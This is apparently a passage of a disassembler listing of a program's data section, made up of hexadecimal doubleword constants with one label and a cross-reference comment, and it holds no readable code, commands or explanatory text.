dd 121DC71h, 760A7CCAh, 3CD69171h, 0FAB6B0EDh, 6B1C8E64h
dd 0E49804B1h, 3CDD53B0h, 91B05A3Ch, 0CC68ED9Eh, 9713C9F9h
dd 31451D1h, 9A4CE226h, 5B4A44Ah, 1F38BB67h, 4A15D24Ah
dd 9D2D59C2h, 58D3E97Eh, 841E0769h, 0DCBFB27Ch, 4EBCC334h
dd 38DEDC91h, 6D686EA1h, 0CBC2E699h, 74B660E4h, 0EF0B9229h
dd 0B531606Eh, 29898757h, 0B45F6248h, 4D6DD82Bh, 0D0903135h
dd 0DC5AF1F5h, 0C758B301h, 0FF238A58h, 4363B69Bh, 0DD9CC40Fh
dd 0B25FD20Ch, 50BEBF87h, 67126A14h, 0C92429ECh, 5744681Bh
dd 61952DDDh, 2E4E78Dh, 0E7D60752h, 95895B0Ah, 17A91B10h
dd 0C3AA1320h, 708E8407h, 0D4447C56h, 8EAA8139h, 7DD03217h
dd 6726D63Ch, 25E4D71h, 82F58DB7h, 4DF5A165h, 0F2E2D64Fh
dd 0A99963F1h, 0BECABFC2h, 0EEDC6182h, 20A5DF15h, 0A956062h
dd 6FAB724Ch, 504E3102h, 3CA426E0h, 24A65F3Bh, 54CF0786h
dd 0C131B2BCh, 18D18269h, 0D54BE211h, 1E6F8AB8h, 50F857A7h
dd 33D1CE72h, 0D8B5B8E1h, 60C46505h, 32D3DC36h, 0F2DFB084h
dd 0E74FE24Fh, 76027306h, 752767C7h, 0D78B7534h, 0E752C513h
dd 0EE043534h, 8757EFDFh, 410AB777h, 0B5D84C93h, 736CF2E1h
dd 0C451D8DDh, 0D006EBF9h, 569DDB55h, 0DE3C8F6Ah, 0F1B29A27h
dd 0B7A7CE8Dh, 0A14E9232h, 3AA041E5h, 0BA700F54h, 0D90BB631h
dd 9FFE0517h, 0A9EE4548h, 0E30B4E7Dh, 0A5F2D698h, 8151C689h
dd 317AE8BFh, 10CB4176h, 762AB1F0h, 6E65F0C0h, 0B4A7F1D0h
dd 0E5A055C8h, 7250E76Fh, 6EA65406h, 0B6CE2E96h, 47F47DEh
dd 6C5B2143h, 0ADFD9BE6h, 36B41740h, 16DCAA26h, 0B3DFEA2h
dd 0E7AD76Dh, 92088503h, 0CE575DC6h, 0E105E8E1h, 0CDD5B978h
dd 2459F055h, 89CEB83Eh, 0E28E1395h, 0B97421BEh, 0ABE1E9DCh
dd 2D2F2962h, 99AEF614h, 0DD028290h, 4D8E3E36h, 91413E0Eh
dd 3E497F03h, 5B311CBBh, 0B152DE1Bh, 4578DE63h, 604235B2h
dd 960099A1h, 7D3CA22Bh, 169B913Dh, 0CC4A0B5Fh, 0C6824F6Eh
dd 8D8CF71Dh, 0FE24D11Dh, 65018E5Dh, 7883EAB6h, 0EE0958A9h
dd 0EB93B23Ch, 94C27A47h, 5B8432A1h, 83955177h, 0F9724D5Ah
dd 68260A5Ah, 466F78A4h, 0D5411C2Fh, 1C0FCB21h, 6F8754B7h
dd 4EBBB708h, 0C5585180h, 38F05A7h, 4B7F5Ah, 2504AB04h
dd 966910ACh, 93F19AC7h, 0BA226BA1h, 0EEF47AF3h, 0DC1D7DAEh
dd 6CBDC580h, 84F137F5h, 44A1D831h, 74D7523h, 0CAE99EFFh
dd 0DC89A82Fh, 1EE49605h, 21BB6908h, 6279B71Ah, 4EB5A86Ah
dd 8E830E15h, 1EE00D5Eh, 317F4F35h, 0C8C74F41h, 426D8F36h
dd 0F17EA9C9h, 2C9FC552h, 0D185FDDBh, 7F35A5C5h, 5A57C91Dh
dd 0AD655A33h, 0C7A77E1Ch, 0F6083336h, 0D39ADAE5h, 731C8871h
dd 0F5C1D282h, 0CE966145h, 109F64A2h, 97E45713h, 0F60F90B8h
dd 0FA98348h, 406693B8h
dd 0E8E9DB06h, 0BAAB48ADh, 674015AFh, 8797C9D2h, 34BE8184h
dd 1FC4F88Dh, 19060D70h, 71FBFF6Ch, 0DED4BEB1h, 9C359B7Fh
dd 69DF56E1h, 0AE4E40h, 9BBA768Eh, 40DA8185h, 40587B76h
dd 7B6C2103h, 0E70C4064h, 673DD304h, 40DD875Ah, 53329D81h
dd 2EC3429Ah, 4F72E83Eh, 9E548134h
dword_49005C dd 2D2F5D25h, 0DB4C1358h, 81AF595Eh, 3CE410D4h, 0C01EF290h
; DATA XREF: .data:off_426B98o
dd 25B197E2h, 26822B82h, 63DC4351h, 958EE7Fh, 0B24226AFh
dd 0E2A9D41h, 0F3C5BDEAh, 0C8F5CCE8h, 37013640h, 7C5675F5h
dd 167F6F25h, 93CE0124h, 94F8209Dh, 0E3C484BCh, 0E9B9E9C6h
dd 8439DA95h, 0C21467B0h, 740D51DCh, 66F28FFAh, 5C101E6Ah
dd 93FC0144h, 0AB1BA194h, 243CC807h, 1D6A3A8Eh, 0E248345Eh
dd 9FBF382h, 0BDC8D27Fh, 102F561Eh, 0EE3663E8h, 0BCFE7C8Fh
dd 6ECA4540h, 18CCF01Eh, 23E54AC9h, 0FAB4013Fh, 0A013B865h
dd 0D9CAB44Eh, 748223B0h, 0F14F5B60h, 8C7FD16Dh, 75560B1Fh
dd 70CF5EC3h, 77B47C7Ch, 0EE301BEAh, 1414454Bh, 0C813AFF6h
dd 67033216h, 0A1074BF4h, 81530B07h, 0B04364E6h, 2781AF19h
dd 38F6A01Ah, 0C6E3F96Dh, 8F7DB50Fh, 5539562Fh, 285B8040h
dd 3FD7EC13h, 910A1073h, 0A6675117h, 959030C3h, 1A6F53FBh
dd 1D97F4B3h, 954BC8AFh, 0CF908093h, 0DDF8874h, 16BD5E4Fh
dd 1F80E56Ah, 0C1E64B69h, 0E220D5D7h, 0A04DA689h, 548B8CECh
dd 0C277C3Eh, 0D7DC25BEh, 89CB04CBh, 0C7821E40h, 414ED711h
dd 8CB9328Dh, 0ACD86A64h, 0E8187328h, 80BF1175h, 67B581DCh
dd 0A5030480h, 0B4FC04ECh, 1AE0B66Eh, 9B1A7440h, 65351666h
dd 31FC666Dh, 74ABC924h, 72F3B48Bh, 9BC0A3Dh, 96C7AD56h
dd 0E6415D19h, 0BDE25736h, 1C6E50AAh, 0DD1B15D9h, 74861FB8h
dd 6EED8370h, 0CBBB861Ah, 84BFF4E8h, 0C1BE0E83h, 0FE4C1DC7h
dd 0D4BFE8C1h, 693DA35h, 7E6B86CBh, 23EC0CC4h, 59655F09h
dd 0D63A659Ch, 7F9B8E9Bh, 9C9FB367h, 9D082F7Fh, 7FEC4DA2h
dd 7D79233h, 0FF40E96Fh, 6E1EA756h, 3F2A0FBFh, 6BAF9FB2h
dd 55AFFAA2h, 277C085Bh, 0CA72FB57h, 7D8B117Ah, 9D317AE5h
dd 777739E1h, 0F04FAAD6h, 6091CCC2h, 0AA460B1Bh, 0FB51E3ECh
dd 14364B5Bh, 0C8F5C6CBh, 130EB373h, 3A94693Eh, 47385880h
dd 33074261h, 24FCFF84h, 7EC8D0C3h, 0F8EB7ADDh, 5360A41Dh
dd 43CB9F66h, 0D3C15E9Fh, 0F822FD9Dh, 418508CBh, 44BAFE37h
dd 8026E37Eh, 244768CAh, 0F32DF1F4h, 79F42637h, 1F378867h
dd 0FBA1EC18h, 43850887h, 0CB6D6E77h, 0E07D2D58h, 0B600BC6h
dd 0E406CD4Ch, 0EA8393A9h, 3C5A70B7h, 24E59E98h, 69BF800Dh
dd 0E3AA7E23h, 0EB4118CAh, 5AB6B45h, 0C2842F0h, 33DE081Eh
dd 5C136D8Eh, 0CA1EC232h, 0F71C46F4h, 6361A6A5h, 2F5A44CCh
dd 4728587Fh, 630BFB3Ch, 0E9C9E118h, 0C51D79D6h, 5AAF28D5h
dd 9FB20298h, 0D3340E0Eh, 3857323Ah, 0CD28D538h, 8F7E396Dh
dd 0F86C1C7Bh, 1B111947h, 0CC2A6059h, 0C5C24D58h, 5A52BD94h
dd 0F43AE4C8h, 0B16C216Ah, 0EBAEA610h, 936B679Ah, 949BA9D4h
dd 42B36E49h, 0AB056A07h, 9E344F96h, 1887AD1Eh, 21DAF859h
dd 2C2191D1h, 7A823281h, 4AF90CEEh, 0F5D4B59Bh, 0AE32C04Fh
dd 133917F6h, 8C22FE5Eh, 7406645Ah, 0C632B2D5h, 2FCB55Ah
dd 75F190E4h, 8A93E50Ah, 0B5D6E2B7h, 821FCF3Ah, 139948BEh
dd 140C2FF7h, 6B7FF34Dh, 74BD58A5h, 0CA88C618h, 0B80AC30Eh
dd 0CE3D934Ch, 54469B9Ch, 0A8573601h, 0C21FE881h, 0ACF17B7Eh
dd 9B54A4EEh, 9D11EF19h, 9E0E8629h, 92B91198h, 679BE606h
dd 0DA505BA9h, 0FDDCD43Ah, 0E2309F09h, 0AA72195Ah, 8062779Ah
dd 94555DBh, 0F296450Eh, 847E9A79h, 32F52F4Ah, 0AFC93E63h
dd 6E3F73Ah, 0D3DA98A5h, 0B29C9657h, 0BFBE0EA1h, 3C8D5CAFh
dd 0A37EAA1Bh, 4DD7489Bh, 9547670Ch, 2DE24106h, 75E572DBh
dd 0BAC0AD8Bh, 0F3F0EB5Ch, 632A5E63h, 234BD1E8h, 0C6C034EDh
dd 0E48BF561h, 0E99EDC21h, 5B26619Ah, 0DBF2029Ah, 0DC089CDBh
dd 0AF9ED2F3h, 1E1D805Ah, 0ED695BA1h, 0BE0E6E3Fh, 95CA8E09h
dd 0CEFCC171h, 0AC2EF317h, 390A5C1Fh, 6FBF9BEAh, 283E3764h
dd 0A0A17006h, 0C35B9345h, 9E434C4Ch, 3E6C11AEh, 0DE670523h
dd 687CAA39h, 940C0AEEh, 60B5C88Ch, 90C633C5h, 459E85E1h
dd 9D1CA8A7h, 1BF096E2h, 0EF0E8F5Dh, 0CE4945Bh, 0B40B0907h
dd 0E6FAB6E7h, 0FFEFEFA7h, 0A00DCAEFh, 91D3330Ah, 446B3FA1h
dd 0DD5C22ACh, 3A0948F1h, 4DEFD0C3h, 22654737h, 169A10A1h
dd 45686F15h, 0A44BC5B2h, 0AEF1C419h, 0E650E106h, 63347BA3h
dd 0F2B64A88h, 6EE15762h, 821B0AEh, 68BB2A51h, 5305EB90h
dd 0A23D4D22h, 7593F063h, 4866836Ch, 0E4B9C3F7h, 0C93E5A37h
dd 423C128h, 32FB54Eh, 3C24098Bh, 0ED00C3FEh, 4B117A77h
dd 0E0927C57h, 0C6EDB7ABh, 7F56260Ch, 7BF9ACB4h, 7289608Dh
dd 0D6608397h, 0AADAE458h, 4850B998h, 0A8E140E2h, 0DD43EEBBh
dd 3226C4EBh, 25338107h, 0E52E68C4h, 0D8696BFDh, 8E5C1A80h
dd 0AC6AE002h, 109A6A24h, 0BD7F2BDFh, 0CC6A2FE6h, 672B6CA4h
dd 4922DF23h, 858E88F6h, 66551E07h, 34A1AF27h, 0F6576BFFh
dd 0FB564068h, 4F80F389h, 9361E4D5h, 850E9323h, 0A8C2DA18h
dd 58862950h, 0F1D2763Ah, 851D83BCh, 67C0D5EEh, 3E2B40DFh
dd 1D781BB0h, 7BD5AF76h, 79A44BFBh, 3DD36B02h, 3C6A23D8h
dd 2876F027h, 438A8A71h, 1A7AF431h, 53D20B93h, 0A6D405BBh
dd 71D14514h, 0DE83C6F9h, 252B26F6h, 25C309D8h, 366CB46Eh
dd 650404E9h, 2ABC1171h, 82D687Fh, 7E8986F6h, 0C7962F61h
dd 282F75F9h, 0C8EEE253h, 0E84DC806h, 0C3620891h, 0F41D13h
dd 11B048C8h, 0E09803D9h, 92621DFAh, 0EDE1C874h, 8EA2BC55h
dd 0ECBDC152h, 19348Fh, 2ACF0170h, 74AA5F98h, 0B542AB38h
dd 0B421160Bh, 7629719h, 3584084Dh, 118D81C7h, 0F82E001Bh
dd 65393B86h, 22BD5091h, 1432DA03h, 0DB02D1D3h, 0F904D4C1h
dd 8302DF57h, 7493AC2Fh, 27001259h, 0AEB58D44h, 0CC07F40Bh
dd 46F7F6FDh, 40E39DDAh, 64A93EF0h, 9C8F71Ch, 0E0950DB7h
dd 7107D12Ah, 817B8769h, 4718E273h, 2A8B9325h, 9787E9A7h
dd 8893BC01h, 0AECD0454h, 33004B6Bh, 74AC2A06h, 0E6E20988h
dd 0F13DC488h, 0FE87F317h, 1476400Bh, 1AB084B6h, 7F8879C9h
dd 41681458h, 0C96906B2h, 53F2A55Bh, 34B9EE89h, 35523D9Eh
dd 0AE92E1E8h, 0BFAF08B3h, 9D03CCF9h, 0FFF30A4Ah, 4DC32FE9h
dd 978631C6h, 6AF378Dh, 9129AAAFh, 8DD940F3h, 273C098Ah
dd 74CAFBC5h, 4BDB86C2h, 3FA818FBh, 0C609C0E1h, 4FA751F9h
dd 62B42DDDh, 4BABDF80h, 0C2729EF4h, 8579BC16h, 6E82069h
dd 0DE2F16AFh, 0E2D6F00Eh, 23AD853Fh, 0D11D71D9h, 2001ECF8h
dd 432A12BCh, 0C5A0D5A1h, 51A0A325h, 0C69640B0h, 0A8FC9FA5h
dd 71772819h, 0C88FC167h, 0B5AA6AF7h, 8398DFA2h, 224139B1h
dd 47C31555h, 1D44EEE7h, 0C2B528A0h, 0B359D723h, 9CCEA0E9h
dd 0CB8BB269h, 6696AE0Dh, 13C38712h, 0BEED72CAh, 0A06B1AA8h
dd 17E53934h, 6BEF3AA9h, 0F0953512h, 4D19847Bh, 0D118C3C8h
dd 4DE9546Bh, 2C91F775h, 2A23790Ah, 93541E07h, 40B5F78Bh
dd 0F648475Bh, 0CE2A5117h, 0A0058A61h, 0C0E2D7A9h, 60CD5F73h
dd 0B3DE98A4h, 0A8F9A8AFh, 0F1A9B43Fh, 0DAB3AA0Eh, 770839D0h
dd 64D83044h, 0C60C1F59h, 3C15457Fh, 0B4472CCAh, 51FEDA7Ah
dd 0C7D21C39h, 0A0A30859h, 449B2C0Fh, 0D9BDA67Ah, 60C7CBE0h
dd 1E7E0E24h, 770467FCh, 0AC114C6Eh, 0FF008C5Ah, 0C8C3FBC2h
dd 6849E2F6h, 95F405D1h, 0C389EFD4h, 0FD4EBA2Dh, 7B6AB25Ch
dd 9FA73C0Dh, 0D86AF84Ch, 0A6423C80h, 0BEC1380Dh, 457DDF10h
dd 0A28A8A4Fh, 0C130FC84h
dd 4C1F7011h, 0CE3345A2h, 0F9EFEF95h, 0B38717E8h, 0B5ACF41Fh
dd 74531131h, 0B1348E55h, 0C2F44E61h, 0AE5DBF0Bh, 864D0F69h
dd 613DDC64h, 8C9323E2h, 49F252D7h, 89A510BCh, 1122E679h
dd 9C85C2B1h, 14B0CCECh, 9D3DF9A8h, 0DE2C7835h, 0BA4A625Fh
dd 0F6512D02h, 0A2E51950h, 9C7A7E37h, 0B04F35AFh, 89A54023h
dd 3FA0A28h, 0A70A9FDFh, 3D737C7Ch, 0CDEE828Bh, 2D0EE0E5h
dd 0AF1B64D0h, 0DA0C6FE3h, 696C9251h, 0B5A681C4h, 12AC3A0Eh
dd 988957A6h, 0B688A04h, 342A5BB7h, 197358E4h, 3E70F84Ah
dd 0F73B6D6h, 9ED2141Fh, 1548A2FFh, 0CB593C38h, 97E7E44Ch
dd 0BD988508h, 1C7649D2h, 8C8D72CCh, 6715DEF4h, 49E3783Eh
dd 0DCF973E3h, 3585F14h, 5D55AAB9h, 67C3F594h, 5C3DEC1Dh
dd 0D9F146B9h, 237D1D0h, 0A7EE26A9h, 0E12C2C9Ch, 26177C85h
dd 301F3C8Bh, 8EE67A85h, 57030357h, 6C0BEA55h, 16C92701h
dd 95535ABh, 1D15ECA5h, 2340D1CCh, 0E01953CAh, 0BD132699h
dd 0D73DE815h, 38C52E88h, 0BA9867B0h, 910D249Bh, 2E89016Ah
dd 6817A511h, 2C28ED3Dh, 2EB5E3CAh, 8A5F3F6Dh, 59042D8Ah
dd 90ECAB65h, 86D44C35h, 41677A2Dh, 3E4E113Fh, 0A9312813h
dd 3800CBBh, 3C806F34h, 9BD9D92Ch, 1D215499h, 876135Ch
dd 0C23A812h, 28BF6BA9h, 0AFEA22A8h, 7D7FD74Eh, 0E43EB32Ah
dd 8F776F2Ah, 891DB1DDh, 3D850686h, 0F6446D10h, 0F4B77261h
dd 8112BA0Eh, 3D415770h, 0FE95F312h, 74E6E224h, 4B4CC67Ah
dd 7126F697h, 3AA2DB70h, 0D9D19D45h, 0F8CD645Ah, 0ED0E1C32h
dd 25DB20D4h, 0D964AC13h, 0DA7CCC1h, 52C5C321h, 9FF544DFh
dd 0F637240Ch, 756B9559h, 9284B490h, 7A0F9E79h, 0D9CD75B0h
dd 0C9AF6391h, 0F97761B4h, 3E7BA5A1h, 46CB2CE8h, 0B183F598h
dd 6CD87CAEh, 1AE406C1h, 0F3587415h, 0C294C5D5h, 7FFEC591h
dd 88C99468h, 0EA1CDCEEh, 3F27ABB9h, 4F630BBCh, 6D100011h
dd 0AEAB78A6h, 0BE8D784Dh, 0EDAFA9C2h, 0B8258530h, 0C03373Eh
dd 1A2B476Ah, 0D9B160A4h, 0CA88CB3Ch, 0BC11EDE0h, 0B3843BE5h
dd 0BECE0479h, 96F20CABh, 0E619F730h, 74D659D7h, 0ACE6CE16h
dd 35075C43h, 0C4F59E75h, 61405CE8h, 4E91873h, 72476BF8h
dd 0F2011903h, 0AAB4B19Bh, 12C77AEFh, 0D48CFB44h, 719A0CEBh
dd 41A2B65Dh, 7FB7A94Dh, 0EDDEEE4Bh, 0B4D8A5B4h, 361D2176h
dd 0D1E04882h, 645EB9C4h, 0E697CFDh, 1BD86B6Fh, 0FBCF75F1h
dd 912E8C87h, 0B7BCB6ADh, 3230F057h, 0E2437347h, 0DC4EDC9Ch
dd 0E4C50CBh, 8A08169Ch, 0F4CFF40Ah, 743561F7h, 5AD57F5Dh
dd 0E3420208h, 978902EEh, 0F2F0E54h, 60DB5F85h, 706C094Eh
dd 1B12B4F7h, 60331EAEh, 42661167h, 2463339Bh, 0DBDC034Bh
dd 9D90060Fh, 0BB9624F4h, 0C8783BD1h, 3F3CCEE8h, 27CEA389h
dd 223FC81Fh, 8850EB20h, 3BAB0AB6h, 0D958FCEh, 4113AFD8h
dd 4DE06B75h, 0ED73BDCCh, 7D491C62h, 4E4EFC15h, 30200CEBh
dd 348E613Bh, 0E7848049h, 6DF40765h, 0EEF294AFh, 0B610998Ah
dd 627F6416h, 0A678A37Bh, 33F18B3Ah, 6B8B61Bh, 36C87D81h
dd 12651A0Dh, 8EC4E76Ah, 0F7FA212Ch, 3BF27F47h, 0EF6EA65Fh
dd 0CD8ED1CFh, 2F79F9AEh, 3240DBA6h, 65CA1D4h, 0D70848D1h
dd 0AD1E4D41h, 0E114C913h, 669D88B7h, 81C0DB47h, 6756E568h
dd 9B6BA1FEh, 381E3354h, 11F72B2Dh, 0F81E5782h, 0BDDDA2Fh
dd 58F1EE09h, 209D5D19h, 0C133D159h, 4F6293F8h, 6F936A01h
dd 0C415BC66h, 0E4AF131Ah, 6469D2A8h, 469838Eh, 5D662353h
dd 74CBD291h, 56794522h, 2F129C2Fh, 0B0802EF7h, 2BDC6770h
dd 0D0AD7084h, 97F2EB76h, 2734193h, 0A1C121BDh, 0B085073h
dd 752110ACh, 43E5E3D9h, 0A4C6A49Ch, 6C272D97h, 0CF9DCF48h
dd 0D19C7B21h, 0FD9ABCF4h, 0F2D6A2Ah, 72E4D0CBh, 1CB62912h
dd 7B0BFE1Ch, 0B8F7E591h, 82C3986Ah, 4C252378h, 6BC4E469h
dd 8EAD0A32h, 0C639209h, 0F517D3C0h, 0F1002C5Eh, 6F783C05h
dd 0A2E353E0h, 40E774FFh, 52FA6025h, 806746C9h, 8A6FE0C7h
dd 5A727F61h, 0AF462BB8h, 64B17769h, 0D8A19804h, 0AF2C58Bh
dd 0E4B233B0h, 8952C2F5h, 0B9169C62h, 0F1483728h, 6A174722h
dd 6F568E10h, 809EA59Ah, 577BAE3Fh, 3FD6FF85h, 0C7F4E0A5h
dd 4516B8FBh, 3FC47559h, 0A8D6D001h, 7E218C24h, 5A2D45E7h
dd 0B8B7F3AFh, 71A62CE7h, 3101676Ah, 0AD569B38h, 0A930E119h
dd 3E119A6Eh, 0E0D145E6h, 78DD1CBh, 16247F35h, 0B80A4869h
dd 680E6B70h, 0D5D49107h, 818E526Ch, 73F3CA5Fh, 0E35A62E3h
dd 0F100E2D0h, 0E5430D6Bh, 840624D3h, 0AEDC11Dh, 1A6133C0h
dd 4FA3CD40h, 6D9BFB55h, 0E1478516h, 0D007F145h, 58610656h
dd 0B3ACD1D5h, 958203F8h, 5BAF2A2Ah, 0F6F90F08h, 0C15EFB4Dh
dd 0C926BF2Dh, 0D8BEDC82h, 72588A20h, 0BDF2B7E9h, 32094D07h
dd 9694A6C6h, 147F8EEh, 948A0BB8h, 25AC549Fh, 0E2EC7D7h
dd 0FDBD4E83h, 0C2AEEA2Ah, 639A752Fh, 48D5C82Bh, 33A59242h
dd 0B9288D78h, 74096C6Bh, 9412E70Ch, 21BE4AFEh, 21724B09h
dd 0DDD6C641h, 81AEFCE2h, 92ACF56Fh, 61EF6646h, 7E2CB11Fh
dd 7071A17Dh, 22A79152h, 2E74A538h, 63C5040Ah, 370853C9h
dd 7DAA05DEh, 9D6050DEh, 0BD6D0BB7h, 0BD99A570h, 0A68BA4Bh
dd 6C2214C9h, 90185E14h, 28AE28FDh, 2D2B6E69h, 740059C8h
dd 0E3CD6498h, 45F6C40Eh, 98DBE42Ch, 85F54088h, 710F2A2Fh
dd 78BDD58h, 5FAF4072h, 0FAAF3789h, 7846F20Dh, 0AE118680h
dd 37D2FEC6h, 6B4DFC24h, 4B7D1553h, 81E9993Ah, 3B38A03Ah
dd 0EA51281Ah, 23BF727Eh, 5BD4A654h, 0A26AFA14h, 324408BFh
dd 96EDEF9Dh, 4E170138h, 1A5DE71Ch, 283E9463h, 5E5D999Ch
dd 28204628h, 0E5799648h, 48201FDDh, 0EFF5D557h, 1412163Ah
dd 5F72D83Dh, 128211B3h, 806787B6h, 3F99A075h, 3D6D55ACh
dd 2F2F04C7h, 1E630DFEh, 5B694947h, 862C50D6h, 51F32836h
dd 0A14B594Dh, 2849DD4Ah, 0AA255FD1h, 8800BC86h, 8A4C568Eh
dd 0BB201741h, 4F09D326h, 5ECDEB06h, 0DC6E1F0Bh, 0B01B476Dh
dd 49DB36BFh, 0DF800481h, 138D9D49h, 44B07D9Eh, 0F943E069h
dd 60557D08h, 510B44E5h, 868C9006h, 0B9DC24BFh, 5EDC0C0Bh
dd 0A1975464h, 3D0FA6CEh, 0E7A35486h, 491E987Fh, 0F54D144h
dd 240C2849h, 31884B2Ch, 7624546Dh, 91349CA1h, 21DB6426h
dd 7F68F9C4h, 0D404F600h, 5EBF9DBCh, 0BFDC2D6h, 62BDD0C3h
dd 82467874h, 7958E64h, 8D0A706Dh, 80FF1953h, 361B9553h
dd 6C386F10h, 12EFEFADh, 0E23076B2h, 8EA11933h, 0C2D0BF31h
dd 0F7CDEBDDh, 24D48989h, 1B0EACFAh, 39FD7E70h, 84530AACh
dd 0D790CA80h, 0E166F7E2h, 54795C29h, 2A429CE3h, 5D2066CDh
dd 88E3A6F1h, 0A6A0DD03h, 4237DD6Bh, 0DC751BF9h, 3DEC7337h
dd 25760CFBh, 0E340B350h, 0AA74F5C1h, 0D5ED800Fh, 70B23C2Dh
dd 0FD029833h, 0D0A2F277h, 49740DEDh, 632AE617h, 46C00C17h
dd 8D9C9FEBh, 0B47B183Eh, 8F131463h, 460A0244h, 3313B936h
dd 43D34A16h, 0F48443E8h, 670B4CD5h, 2CE4F364h, 67A0E257h
dd 0AFA54C84h, 0B853F089h, 6FE07011h, 5E1F461Eh, 0CAA61035h
dd 8AB72678h, 99A56C1Ch, 0DA6605D4h, 4601AE6Ah, 4267F6Bh
dd 7E3C1A24h, 635A8F20h, 0F605836Ah, 37D909ABh, 9DCFF1EAh
dd 0F019858h, 36288DC5h, 0F7F2DECAh, 0EB529AF1h, 1469B679h
dd 5249F93Bh, 0F60DE0A2h
dd 0BC21B165h, 77C0BBEFh, 9E4A1513h, 68932DD6h, 0D9C7FBB4h
dd 46A392C6h, 0D05304A1h, 0FB7C0A51h, 9A2E27AEh, 798F2D45h
dd 0F1279A40h, 96007B75h, 0BE855349h, 75B2750Dh, 0DCCF56D7h
dd 0C4714Bh, 2AA47103h, 0CE432CE6h, 0FFF941F5h, 5573C697h
dd 18EDEA56h, 0E4CC3E92h, 0E119768Bh, 6305EE61h, 1EE04369h
dd 0E23339FCh, 4C0F7580h, 0D1FC0E40h, 0FF2832D6h, 21D61A7Fh
dd 9E976944h, 0F36B5967h, 0ED5C6F66h, 0B62A8BAh, 64C79D45h
dd 0CB9A8369h, 1A22E10Eh, 9DED217h, 6BEC0A4Dh, 6A716A72h
dd 0C05B488Dh, 0BACCD3D8h, 2DF41810h, 80F3F95Ch, 780FD125h
dd 0F2FCC216h, 0F5EC964h, 6E389802h, 553BA9F7h, 0A8D21287h
dd 3E6B8680h, 0CFDCAD5Ah, 0AF2C7AA1h, 85E84DDEh, 0ACAEAEBBh
dd 0A7FA5C19h, 8B694CE8h, 9F988FF6h, 86FD0AF5h, 7EB8A30Bh
dd 0D65B1D93h, 4ECE172Fh, 0BD3FB1A9h, 872C1EA6h, 704A80AAh
dd 0DC08008Fh, 0B5C01CA2h, 7294F955h, 9657D9BDh, 149B6CE0h
dd 6DF32B3h, 0B86D528Eh, 0CB2CE2E0h, 0B97BACCh, 315D1858h
dd 87C99E1Bh, 6222BCFAh, 0A041B83Ch, 1CE8371Ch, 3911CDC9h
dd 0D7FC1D77h, 39EC1FB2h, 0A0CA3C32h, 98B895A6h, 471E140Eh
dd 0CD7268A9h, 0AF30EC78h, 55C3F48Ch, 0E14934E9h, 594D01Fh
dd 8AE3B662h, 0D10BE33Dh, 0A88D5B7Bh, 28634D57h, 3A8A6F4Fh
dd 0CD23B801h, 3AFAB80Dh, 1C029C98h, 0F81F4883h, 0A545C8CBh
dd 0E32B6869h, 0F27EB118h, 59DA3A19h, 0C23453A5h, 0F861E30Ch
dd 0B5C3232Dh, 0EC0983ABh, 3ED4F56Bh, 64CFE27Ch, 0BDA18CC9h
dd 5FE8970Dh, 86BE59AAh, 5BA3C524h, 62C581BDh, 0D7CC0EDCh
dd 9D93D185h, 159A1938h, 25DAF627h, 0E30EF1FFh, 0DF147FA4h
dd 59FBF560h, 61E71C8Bh, 0A7355F5Eh, 733C68Eh, 969451F5h
dd 7AE6D6ECh, 0C216F95h, 0DB1437E5h, 0F8AF5BE8h, 5AD5A727h
dd 5C145262h, 0CB791618h, 7630F1C5h, 0F93EC7D8h, 843F996Bh
dd 185974C8h, 81F604B0h, 620D8A41h, 5C333B0Fh, 0F79EF096h
dd 116A11DCh, 0A2E31CBAh, 99DE141Ah, 85A0564Dh, 3D5D345h
dd 6684D75Dh, 0A612F355h, 188DE6CAh, 44D3BC0Ch, 0E25EBCB5h
dd 0FD78CEF8h, 37B11303h, 3A047778h, 835447D8h, 5EED0F2Bh
dd 10891F9Fh, 8197B398h, 0D2AC6BBBh, 45BEEC13h, 0C17D9D68h
dd 66CBF31Eh, 0EFFAB5FBh, 0DD026B55h, 90F4F8D6h, 980B435Dh
dd 0FDABDF6Fh, 0A26D5415h, 135EE2C1h, 38B76AD4h, 69785FD0h
dd 0BA1A2322h, 0BDBAA2AFh, 0C4B2255Eh, 47630CD6h, 0D54E0B0Eh
dd 1E474CFBh, 410FB2F7h, 6BC8EFA2h, 0A06A6DF9h, 80111BA7h
dd 5107F4C1h, 254C0F7Ch, 5C6E0E65h, 0AD0B3BE7h, 8B6FC7DEh
dd 0CBFD543Bh, 9B61428Dh, 0AF71CB8h, 3A3A421Ch, 8C45330Ch
dd 19C9F6E8h, 0B7366260h, 25A94512h, 8E75A2DBh, 0CE8408DEh
dd 803453CDh, 0C803125Eh, 0E2C56876h, 289444F7h, 8D3B3B6Bh
dd 0A994B8ADh, 44C5CDD3h, 82251AE1h, 5D3CC0A7h, 0C1461C4Eh
dd 82F6CECDh, 98D73869h, 1964C3ACh, 0FE371918h, 303CA097h
dd 40E5023Eh, 0FA07A21h, 2284F34Eh, 9D4380A0h, 22B80922h
dd 0F686F394h, 0EAC3CBDBh, 714AA3Dh, 0CE900C1Eh, 0B0A12ECFh
dd 0F9CE79DDh, 0B373BF9Bh, 5BD194D8h, 0F7B997FCh, 282DB3C0h
dd 7CEB2583h, 786B13B9h, 0BD438EBFh, 7D2F7754h, 3F8E4295h
dd 420E268Fh, 0A39C307Eh, 0FF369BD5h, 12B34EFEh, 26CDFC4h
dd 0DF149834h, 37127038h, 0B28545AFh, 246BCC45h, 1D6EB92Bh
dd 0D1B870BBh, 88E52E37h, 0E735D349h, 13C9843h, 0D08B5997h
dd 0C3BDFB8Dh, 0D24A1629h, 201E820Fh, 0AEC16500h, 7F0AB2AAh
dd 0F5DF879Ch, 5590D11Ch, 0A71DD5E2h, 84AFA266h, 6EF51CBFh
dd 5DCF586Dh, 575D5F2Ch, 430AEA51h, 83FC88BEh, 90018B16h
dd 4BE455EDh, 0A8AA5BAh, 133355FEh, 96EEDE4Bh, 5207A134h
dd 10E14385h, 0BB4B8DAAh, 7998D0EAh, 0F7E5C117h, 2C8FE8D4h
dd 2C24C9BEh, 7E1F19F7h, 0C98B282Bh, 4C8179C8h, 0FD3E551Dh
dd 176E3460h, 4755F1BBh, 0F7C0A737h, 938BC70Fh, 0BA797208h
dd 0F263FBB1h, 0D76E69FCh, 6E9FC092h, 0CF2D7418h, 0B4F6C194h
dd 0C7FF7FCh, 237F0814h, 0FAF875B7h, 5F6820E1h, 28DABAE6h
dd 2BBE6B2h, 6B1D5988h, 0B7610E3Bh, 800B8E9h, 9617A06Ch
dd 423DA1F7h, 20FF6198h, 939F0304h, 660713A1h, 8CA2F0D9h
dd 15B98864h, 2F670F48h, 7023DF59h, 9969AC9Bh, 0AA3C3AADh
